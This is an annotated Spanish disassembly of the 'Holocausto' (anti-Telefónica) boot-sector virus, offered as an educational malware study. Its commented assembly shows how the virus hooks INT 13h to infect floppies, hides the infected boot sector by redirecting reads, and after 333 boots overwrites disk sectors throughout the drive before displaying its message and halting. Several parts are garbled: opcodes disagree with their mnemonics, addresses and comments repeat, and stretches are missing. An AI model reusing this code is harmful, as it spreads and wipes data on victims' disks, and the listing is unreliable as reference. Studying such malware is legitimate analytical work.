

VIRUS ANTITELEFÓNICA

Por Santiago Calvo

H H 00000 L 00000 CCCCCC AAAAAA U U SSSSSS TTTTT 00000
H H 0 0 L 0 0 C A A U U S T 0 0
HHHHH 0 0 L 0 0 C AAAAAA U U SSSSSS T 0 0
H H 0 0 L 0 0 C A A U U S T 0 0
H H 00000 LLLLLL 00000 CCCCCC A A UUUUUU SSSSSS T 00000

ESTUDIADO POR: SANTIAGO CALVO RAMOS

;Estudio del codigo del virus holocausto o anti-telefonica.
;El codigo aqui estudiado corresponde a la parte que esta en el
;sector de arranque de un disco infectado.
;Recomiendo tener a mano la informacion sobre los servicios de
;la ROM BIOS, asi como informaciones adicionales relacionadas
;con esta, y te supongo familiarizado con el lenguaje ensamblador del 8086.
;Esta informacion puedes encontrarla por ejemplo en las siguientes
;publicaciones:
; La ROM BIOS de IBM PC Y PS/2. Autor RAY DUNCAN
; Editor ANAYA MULTIMEDIA
; Guia del programador para IBM PC Y PS/2. Autor PETER NORTON
; Editor RICHARD WILTON
; Editor ANAYA MULTIMEDIA
; Espero que el codigo aqui presentado te sea instructivo para
;quitarle el misterio que traen consigo los virus informaticos.
;Es seguro que encontraras algunos errores en los comentarios
;y mecanografia. es que no pretendia sentar catedra.

2C12:0000 EB1C JMP 001E

2C12:0002 DB 30 DUP(?)

2C12:0000 EB 1C 90 50 43 20 54 6F-6F 6C 73 00 02 02 01 00 ...PC Tools.....
2C12:0010 02 70 00 D0 02 FD 02 00-09 00 02 00 00 00 BB 00p.....

2C12:001E BB007C MOV BX,7D00 ;Restarle 1Mb ;Edad de 0x3100
2C12:0021 33C0 XOR AX,AX ;Restarle 1Mb ;Edad de 0x3100
2C12:0023 FA CLI ;Restarle 1Mb ;Edad de 0x3100
2C12:0024 BED0 MOV SS,AX ;Restarle 1Mb ;Edad de 0x3100
2C12:0026 BBE3 MOV SP,BX ;Restarle 1Mb ;Edad de 0x3100
2C12:0028 FB STI ;Restarle 1Mb ;Edad de 0x3100
2C12:0029 BED8 MOV DS,9B DS,AX ;Restarle 1Mb ;Edad de 0x3100
2C12:002B A11304 MOV [BX+1],AX,[0413];Leer el tamao de la memoria
;convencional en el area de datos
;del BIOS. El tamao esta en Kb.
2C12:002E 48 DEC AX ;Restarle 1Kb.
2C12:002F A31304 00130000 MOV [BX+1],AX;Cambiar el valor del tamao de
;la memoria convencional en el
;area de datos del BIOS.
2C12:0032 B106 MOV CL,06 ;Calcular el valor segmento ms
2C12:0034 D3E0 SHL AX,CL ;alto del nuevo valor introducido
;en el area de datos del BIOS.
2C12:0036 BE000000 00 MOV ES,AX ;ES apuntando al principio del
;ultimo Kb de la
;memoria real convencional.
;Porque no obviad qH
;quiero q se ejecuten los mandatos

procedimiento

```
;AL=n de sectores      AH=00000000
;CH=cilindro
;CL=sector            AL=00000000
;DH=cabeza            AH=00000000
;DL=unidad
;ES:BX direccin de los datos
```

```
2C12:0094 B80103    MOV     AX,0B0103h ;Escribir sector.
```

procedimiento

2C12:00AA 75F2 JNZ 009E ;Repetir si no era el ultimo interrupcion
 2C12:00AC 5D POP BP ;se mete en la pila el contenido de la pila
 2C12:00AD C3 RET ;se ejecuta el IRET (retorno de interrupcion).

 ;procedimiento
 2C12:00AE 9C PUSHF ;se mete en la pila el contenido de los indicadores, porque en la int13 original se vuelve con un IRET (retorno de interrupcion).

 2C12:00AF DB 0100009AH ;Codigo de operacion de una llamada lejana
 2C12:00B0 DW ? ;de una llamada lejana
 2C12:00B2 DW ? ;creada con DB's
 ;2C12:00AF 9AE3A100FO CALL F000:A1E3 ;
 2C12:00B4 C3 RET ;se ejecuta el IRET

 ;Procedimiento
 2C12:00B5 8A0EEB00 MOV CL,[00EB];sector de comienzo
 2C12:00B9 BE7000 MOV SI,0070
 2C12:00BC 03F1 ADD SI,CX
 2C12:00BE BA4C02 MOV CL,[SI+02];Sector en CL
 2C12:00C1 BA7403 MOV DH,[SI+03];Cabeza en DH
 2C12:00C4 C3 RET ;se ejecuta el IRET

 ;procedimiento ;escribe en el disco el numero de sectores contenidos en la variable [00E9].
 2C12:00C5 AOE900 MOV AL,[00E9];numero de sectores
 2C12:00C8 B403 MOV AH,03 ;escribir
 2C12:00CA CD13 INT 13 ;sector 13
 2C12:00CC FEC6 INC DH ;incrementar n de cabeza
 2C12:00CE C3 RET ;se ejecuta el IRET

 ;procedimiento
 2C12:00CF 52 PUSH DX ;se mete en la pila el contenido de DX
 2C12:00D0 BBD1 MOV DX,CX ;se mete en la pila el contenido de CX
 2C12:00D2 B6F2 XCHG DH,DL ;DH=cabeza, DL=unidad
 2C12:00D4 B106 MOV CL,06 ;sector de comienzo 6
 2C12:00D5 AOE900 MOV AL,[00E9];numero de sectores
 2C12:00D8 B403 MOV AH,03 ;escribir
 2C12:00CA CD13 INT 13 ;sector 13
 2C12:00CC FEC6 INC DH ;incrementar n de cabeza
 2C12:00CE C3 RET ;se ejecuta el IRET

 ;procedimiento ;pone en cx el numero maximo de cilindros del disco.
 2C12:00CF 52 PUSH DX ;se mete en la pila el contenido de DX
 2C12:00D0 BBD1 MOV DX,CX ;se mete en la pila el contenido de CX
 2C12:00D2 B6F2 XCHG DH,DL ;DH=cabeza, DL=unidad
 2C12:00D4 B106 MOV CL,06
 2C12:00D6 D2E2 SHL DL,CL
 2C12:00D8 80CA01 OR DL,01
 2C12:00DB BBCA MOV CX,DX ;se mete en la pila el contenido de CX
 2C12:00DD 5A POP DX ;se mete en la pila el contenido de DX
 2C12:00DE C3 RET ;se ejecuta el IRET

 ;procedimiento ;se ejecuta el procedimiento anterior
 2C12:00DF E8E3FF CALL 00C5 ;escribir sector
 2C12:00E2 3A36EA00 CMP DH,[00EA];hasta agotar el contador [00EA]
 2C12:00E6 75F7 JNZ 00DF ;el contador [00EA].
 2C12:00EB C3 RET ;se ejecuta el IRET

2C12:00EA 10 47 DB ? ? ? ;variable ;variable ;variable ;variable
 2C12:00EB DB ? ? ;variable ;variable ;variable ;variable
 2C12:00EC DB ? ? ;variable ;variable ;variable ;variable
 2C12:00ED DB ? ? ;variable ;variable ;variable ;variable
 ;esta parte del codigo se ejecuta por primera vez en la parte copiada
 ;en el ultimo KB.
 2C12:00EE 8ED8 MOV DS,AX ;Reiniciar
 2C12:00F0 32E4 XOR AH,AH ;las unidades
 2C12:00F2 CD13 INT 13 ;de disco
 2C12:00F4 BB0002 MOV BX,0200 ;sector
 2C12:00F7 8AEB MOV CH,BL ;cylinder ;cilindro 0
 2C12:00F9 BA16EC00 MOV DL,[00EC];instruir sobre unidad ;sector 0
 2C12:00FD E8B5FF CALL 00B5 ;instruir sobre sector y cabeza
 2C12:0100 E897FF CALL 009A ;Leer sector ;con esta llamada el resto del
 ;codigo del virus se colocara ;continuacion del codigo actual.
 2C12:0103 FF06F702 INC WORD PTR [02F7];incrementar contador de arranques.
 2C12:0107 813EF7024D01 CMP WORD PTR [02F7],014D;comprobar si ha habido mas
 de 333 arranques.
 2C12:010D 7603 JBE 0112 ;Ha habido mas de 333 arranques.
 2C12:010F E91E01 JMP 0230 ;Ha habido mas de 333 arranques.
 ;el numero de arranques era menor o igual a 333
 2C12:0112 E87FFF CALL 0094 ;Escribir sector ;esta es una forma bruta pero eficaz
 ;de actualizar el contador de arranques en el disco infectado.
 2C12:0115 33C0 XOR AX,AX ;Poner el contador de arranques a cero para que
 2C12:0117 A3F702 MOV [02F7],AX ;así al infectar a un nuevo disco esté a cero.
 2C12:011A BECO MOV ES,AX ;ES:BX dirección ES:=0000h
 2C12:011C BB007C MOV BX,7C00 ;destino de los datos
 2C12:011F FEC1 INC CC ;Sector siguiente
 2C12:0121 E876FF CALL 009A ;Leer sector
 ;Se coloca el sector de arranque original en la localización de memoria prevista en un arranque normal es decir en 0000:7C00H.
 2C12:0124 B0FA80 CMP DL,80 ;Ver si era un disco duro
 2C12:0127 7503 JNZ 012C ;No es un disco duro, el virus no se ha activado
 2C12:0129 E99000 JMP 01BC ;desde el disco duro del sistema.
 2C12:012C 8CCB MOV BX,CS ;ES:BX dirección
 2C12:012E 81EB0010 SUB BX,1000 ;destino de los datos
 2C12:0132 8EC3 MOV ES,BX ;ES:BX dirección
 2C12:0134 33DB XOR BX,BX ;sector 0
 2C12:0136 B101 MOV CL,01 ;sector 1
 2C12:0138 BA8000 MOV EDX,00800000H ;cabecera 0 del disco duro
 2C12:013B E85CFF CALL 009A ;Leer sector 1 cabeza 0 cilindro 0
 2C12:013E 727C JB 01BC ;si error es que no hay disco duro

2C12:0141 813FEAO5	CMP	WORD PTR [BX],05EA	
2C12:0145 7508	JNZ	014F	
2C12:0147 26	ES:		
2C12:0148 817F0200CO	CMP	WORD PTR [BX+02],C000	
2C12:014D 746D	JZ	01BC	
2C12:014F 26	ES:		
2C12:0150 81BF4A00BC9E	CMP	WORD PTR [BX+004A],9EBC	
2C12:0156 7464	JZ	01BC	
2C12:0158 51	PUSH	CX	
2C12:0159 52	PUSH	DX	
2C12:015A B408	MOV	AH,08	;Buscar parametros ;de la unidad;DL=80h disco duro.
2C12:015C CD13	INT	13	;esta funcion devuelve ;BL=tipo de unidad ;CH=8 bits inferiores del numero ;maximo de cilindro ;CL=bits 6 y 7 2 bits de mayor ;orden del numero maximo de cilindro ;bits 0 a 5 n de sector maximo ;DH=numero de cabeza maximo ;DL=numero de unidades fisicas ;ES:DI segmento offset de la tabla ;de parametros de la unidad.
2C12:015E 7220	JB	0180	
2C12:0160 FEC6	INC	DH	
2C12:0162 8836EA00	MOV	[000EA],DH	;guardar n cabeza mx + 1
2C12:0166 BAD1	MOV	DL,CL	
2C12:0168 86E9	XCHG	CH,CL	
2C12:016A 80E53F	AND	CH,3F	;borrar los 2 bits altos
2C12:016D 882EE900	MOV	[000E9],CH;guardar n de sector maximo	
2C12:0171 51	PUSH	CX	
2C12:0172 B106	MOV	CL,06	
2C12:0174 D2EA	SHR	DL,CL	
2C12:0176 59	POP	CX	
2C12:0177 BAE9	MOV	CH,DL	
2C12:0179 41	INC	CX	
2C12:017A 890E0702	MOV	[0207],CX;guardar n maximo de cilindro + 1	
2C12:017E EB10	JMP	0190	
2C12:0180 C606EA0004	MOV	BYTE PTR [000EA],04	
2C12:0185 C606E90011	MOV	BYTE PTR [000E9],11	
2C12:018A C70607026302	MOV	WORD PTR [0207],0263	
2C12:0190 5A	POP	DX	
2C12:0191 59	POP	CX	
2C12:0192 C606EB001C	MOV	BYTE PTR [000EB],1C	
2C12:0197 8816EC00	MOV	[000EC],DL	
2C12:019B B107	MOV	CL,07	;sector 7 ,en ES:BX estan los da
2C12:019D E8F4FE	CALL	0094	;escribir sector
2C12:01A0 06	PUSH	ES	
2C12:01A1 1F	POP	DS	
2C12:01A2 0E	PUSH	CS	
2C12:01A3 07	POP	ES	
2C12:01A4 B94200	MOV	CX,0042	
2C12:01A7 BEBE01	MOV	SI,01BE	
2C12:01AA BBFE	MOV	DI,SI	
2C12:01AC FC	CLD		

2C12:0225 1F POP DS
 2C12:0226 871EB000 XCHG BX,[OOBO];Guardar direccion
 2C12:022A 8716B200 XCHG DX,[OOB2];original de int13.
 2C12:022E EBD9 JMP 0209 ;saltar para darle el control
 ;al programa de arranque
 ;original.

;Ha habido mas de 333 arranques
 2C12:0230 33C0 XOR AX,AX ;poner a 0 el contador d
 2C12:0232 A3F702 MOV [02F7],AX ;arranques.
 2C12:0235 E85CFE CALL 0094 ;Escribir sector.

2C12:0238 0E PUSH DS
 2C12:0239 1F POP DS
 2C12:023A 8A16EC00 MOV DL,[OOEC]
 2C12:023E 33C0 XOR AX,AX
 2C12:0240 8EC0 MOV ES,AX
 2C12:0242 8BD8 MOV BX,AX
 2C12:0244 8B0E0702 MOV DX,[0207]
 2C12:0248 49 DEC CX
 2C12:0249 E883FE CALL 00CF ;colocar en cx el numero
 ;maximo de cilindros.

2C12:024C 32F6 XOR DH,DH ;escribir sector hasta
 2C12:024E E88EFE CALL 00DF ;agotar el contador.

2C12:0251 B90100 MOV CX,0001
 2C12:0254 8AF1 MOV DH,CL
 2C12:0256 E886FE CALL 00DF ;Escribir sector hasta
 ;agotar el contador.

2C12:0259 51 PUSH CX ;Colocar en cx el numero
 2C12:025A E872FE CALL 00CF ;maximo de cilindros.
 2C12:025F E87DFE CALL 00DF ;Escribir sector hasta
 2C12:0262 59 POP CX ;agotar el contador.

2C12:0263 FEC1 INC CL
 2C12:0265 80F906 CMP CL,06
 2C12:0268 75EF JNZ 0259
 2C12:026A 8A0EEA00 MOV CL,[OOEA]
 2C12:026E 8BF9 MOV DI,CX
 2C12:0270 B90600 MOV CX,0006
 2C12:0273 8AF3 MOV DH,BL
 2C12:0275 51 PUSH CX
 2C12:0276 E856FE CALL 00CF ;Colocar en cx el numero
 ;maximo de cilindros.

2C12:0279 E849FE CALL 00C5
 2C12:027C 3A36EA00 CMP DH,[OOEA]
 2C12:0280 7502 JNZ 0284
 2C12:0282 32F6 XOR DH,DH
 2C12:0284 59 POP CX

2C12:0285 41 INC CX
 2C12:0286 3B0E0702 CMP CX,[0207]
 2C12:028A 75E9 JNZ 0275
 2C12:028C FEC3 INC BL
 2C12:028E BE4A00 MOV SI,004A
 2C12:0291 FC CLD
 2C12:0292 AC LODSB
 2C12:0293 F6D0 NOT AL
 2C12:0295 0AC0 OR AL,AL

2C12:0299 B40E	MOV	AH,0E	80 ;escribir caracter
2C12:029B 32FF	XOR	BH,BH	;AL=caracter, BH=pagina, BL=fondo
2C12:029D CD10	INT	10	;muestra campaa anti-TELEFONICA
2C12:029F EBF1	JMP	0292	
2C12:02A1 4F	DEC	DI	
2C12:02A2 75CC	JNZ	0270	
2C12:02A4 FEC2	INC	DL	
2C12:02A6 FEOEEED00	DEC	BYTE PTR [000ED]	
2C12:02AA 7592	JNZ	023E	
2C12:02AC FA	CLI		
2C12:02AD F4	HLT		

;Procedimiento propio del virus para el tratamiento de int 13H (operaciones sobre el disco).

2C12:02AE 56	PUSH	SI	
2C12:02AF 1E	PUSH	DS	
2C12:02B0 80FA80	CMP	DL,80	;ver si operacion sobre disco duro de arranque.
2C12:02B3 7503	JNZ	02B8	
2C12:02B5 E9F300	JMP	03AB	
2C12:02B8 80FC02	CMP	AH,02	;ver si es de lectura.
2C12:02BB 7536	JNZ	02F3	
2C12:02BD 80FA02	CMP	DL,02	;ver si es sobre disquetes.
2C12:02C0 7331	JNB	02F3	
2C12:02C2 33F6	XOR	SI,SI	
2C12:02C4 BEDE	MOV	DS,SI	
2C12:02C6 F6063F0403	TEST	BYTE PTR [043F],03;ver si motor de disquetes en marcha.	
2C12:02CB 7526	JNZ	02F3	;Saltar si no parado.
2C12:02CD 50	PUSH	AX	;el motor estaba parado
2C12:02CE 51	PUSH	CX	;Guardar los parametros originales con que se
2C12:02CF 52	PUSH	DX	llamaba a int13.
2C12:02DO 0E	PUSH	CS	
2C12:02D1 1F	POP	DS	
2C12:02D2 8816F602	MOV	[02F6],DL;guardar n de unidad sobre la que se lee.	
2C12:02D6 55	PUSH	BP	
2C12:02D7 BD0400	MOV	BP,0004	;4 intentos.
2C12:02DA B80102	MOV	AX,0201	;leer un sector.
2C12:02DD 32F6	XOR	DH,DH	;cabeza cero.
2C12:02DF B90100	MOV	CX,0001	;cilindro 0 sector 1
2C12:02E2 E8C9FD	CALL	00AE	;llamar a int13 original.
2C12:02E5 7312	JNB	02F9	;saltar si no ha habido error
2C12:02E7 33C0	XOR	AX,AX	;reiniciar unidades de disco
2C12:02E9 E8C2FD	CALL	00AE	;llamando a int13 original.
2C12:02EC 4D	DEC	BP	;un intento menos.
2C12:02ED 75EB	JNZ	02DA	;volver si no era el ultimo intento.
2C12:02EF 5D	POP	BP	
2C12:02F0 5A	POP	DX	;Restaurar los parametros originales con que se
2C12:02F1 59	POP	CX	llamo a int13.
2C12:02F2 58	POP	AX	
2C12:02F3 E90AFF	JMP	0200	;saltar a la int13 original.
2C12:02F6 DB	?		;variable
2C12:02F7 DB	?		
2C12:02F8 DB	?		

2C12:02FB	813FEAO5	CMP	WORD PTR [BX],05EA
2C12:02FF	7508	JNZ	0309
2C12:0301	26	ES:	
2C12:0302	817F0200C0	CMP	WORD PTR [BX+02],C000
2C12:0307	7409	JZ	0312
2C12:0309	26	ES:	
2C12:030A	81BF4A00BC9E	CMP	WORD PTR [BX+004A],9EBC
2C12:0310	7503	JNZ	0315
2C12:0312	E99100	JMP	03A6
2C12:0315	26	ES:	
2C12:0316	BB871300	MOV	AX,[BX+0013]
2C12:031A	BE7000	MOV	SI,0070
2C12:031D	3904	CMP	[SI],AX
2C12:031F	7407	JZ	0328
2C12:0321	B3C604	ADD	SI,+04
2C12:0324	E8F7	JMP	031D
2C12:0326	0ADA	OR	BL,DL
2C12:0328	53	PUSH	BX
2C12:0329	BBDE	MOV	BX,SI
2C12:032B	BA7000	MOV	DX,0070
2C12:032E	2BDA	SUB	BX,DX
2C12:0330	8AD3	MOV	DL,BL
2C12:0332	5B	POP	BX
2C12:0333	BB16EB00	MOV	[00EB],DL ;Guardar unidad original.
2C12:0337	BA4C02	MOV	CL,[SI+02]
2C12:033A	FEC1	INC	CL
2C12:033C	8A7403	MOV	DH,[SI+03]
2C12:033F	BA16F602	MOV	DL,[02F6] ;N de unidad guardado.
2C12:0343	B80103	MOV	AX,0301 ;Escribir un sector.
2C12:0346	E865FD	CALL	00AE ;Llamar a int13 original.
2C12:0349	51	PUSH	CX
2C12:034A	26	ES:	
2C12:034B	BB871800	MOV	AX,[BX+0018]
2C12:034F	A2E900	MOV	[00E9],AL
2C12:0352	8AE8	MOV	CH,AL
2C12:0354	26	ES:	
2C12:0355	BB871A00	MOV	AX,[BX+001A]
2C12:0359	A2EA00	MOV	[00EA],AL
2C12:035C	8AC8	MOV	CL,AL
2C12:035E	26	ES:	
2C12:035F	BB871300	MOV	AX,[BX+0013]
2C12:0363	F6F5	DIV	CH
2C12:0365	32E4	XOR	AH,AH
2C12:0367	F6F1	DIV	CL
2C12:0369	32E4	XOR	AH,AH
2C12:036B	A30702	MOV	[0207],AX
2C12:036E	59	POP	CX
2C12:036F	06	PUSH	ES
2C12:0370	53	PUSH	BX
2C12:0371	51	PUSH	CX
2C12:0372	52	PUSH	DX
2C12:0373	B91B00	MOV	CX,001B ;Contador
2C12:0376	BE0300	MOV	SI,0003
2C12:0379	26	ES:	
2C12:037A	8A4703	MOV	AL,[BX+03]
2C12:037D	8804	MOV	[SI],AL
2C12:037F	43	INC	BX
2C12:0380	46	INC	SI
2C12:0381	E2F6	LOOP	0379
2C12:0383	0E	PUSH	DS
2C12:0384	07	POP	ES ;Apuntando a la primera

2C12:038A 32F6	XOR	DH,DH	;Cabeza 0.
2C12:038C B80103	MOV	AX,0301	;escribir un sector
2C12:038F E81CFD	CALL	00AE	;Lamar a int13 original.
2C12:0392 5A	POP	DX	
2C12:0393 59	POP	CX	
2C12:0394 BB0002	MOV	BX,0200	;Apuntando a la segunda mitad
2C12:0397 FEC9	DEC	CL	;Decrementar un sector.
2C12:0399 B80103	MOV	AX,0301	;Escribir un sector.
2C12:039C E80FFD	CALL	00AE	;Lamar a int13 original.
2C12:039F 5B	POP	BX	;Restaurar los
2C12:03A0 07	POP	ES	;parametros originales
2C12:03A1 5A	POP	DX	;con que se llamo
2C12:03A2 59	POP	CX	;a
2C12:03A3 58	POP	AX	;int13.
 2C12:03A4 EB46	JMP	03EC	;Saltar a int13 original.
 2C12:03A6 5A	POP	DX	
2C12:03A7 59	POP	CX	
2C12:03A8 58	POP	AX	
2C12:03A9 EB41	JMP	03EC	
2C12:03AB 80FC02	CMP	AH,02	;Ver si lectura.
2C12:03AE 7411	JZ	03C1	
2C12:03B0 80FC03	CMP	AH,03	;Ver si escritura.
2C12:03B3 7537	JNZ	03EC	
2C12:03B5 0AED	OR	CH,CH	;Ver si cilindro 0.
2C12:03B7 7533	JNZ	03EC	
2C12:03B9 0AF6	OR	DH,DH	;Ver si cabeza 0.
2C12:03BB 752F	JNZ	03EC	
2C12:03BD FEC4	INC	AH	
2C12:03BF EB2B	JMP	03EC	
2C12:03C1 3C01	CMP	AL,01	;Ver si un sector.
2C12:03C3 7527	JNZ	03EC	
2C12:03C5 0AF6	OR	DH,DH	
2C12:03C7 7523	JNZ	03EC	;Saltar si no es cabeza 0.
2C12:03C9 83F901	CMP	DX,+01	
2C12:03CC 7410	JZ	03DE	;Saltar si cilindro 0 sector 1.
2C12:03CE 83F906	CMP	DX,+06	
2C12:03D1 7405	JZ	03D8	;Saltar si cilindro 0 sector 6.
2C12:03D3 83F907	CMP	DX,+07	
2C12:03D6 7514	JNZ	03EC	;Saltar si no cilindro 0 sector 7
2C12:03D8 51	PUSH	CX	
2C12:03D9 52	PUSH	DX	
2C12:03DA B105	MOV	DL,05	
2C12:03DC EB04	JMP	03E2	
 2C12:03DE 51	PUSH	CX	;Engaar
2C12:03DF 52	PUSH	DX	;con
2C12:03E0 B107	MOV	CL,07	;el
2C12:03E2 E8C9FC	CALL	00AE	;Lamar a int13 original;sector
2C12:03E5 5A	POP	DX	;7
2C12:03E6 59	POP	CX	;
2C12:03E7 1F	POP	DS	;
2C12:03E8 5E	POP	SI	;
2C12:03E9 CA0200	RETF	0002	;
 2C12:03EC E911FE	JMP	0200	;Ir a int13 original.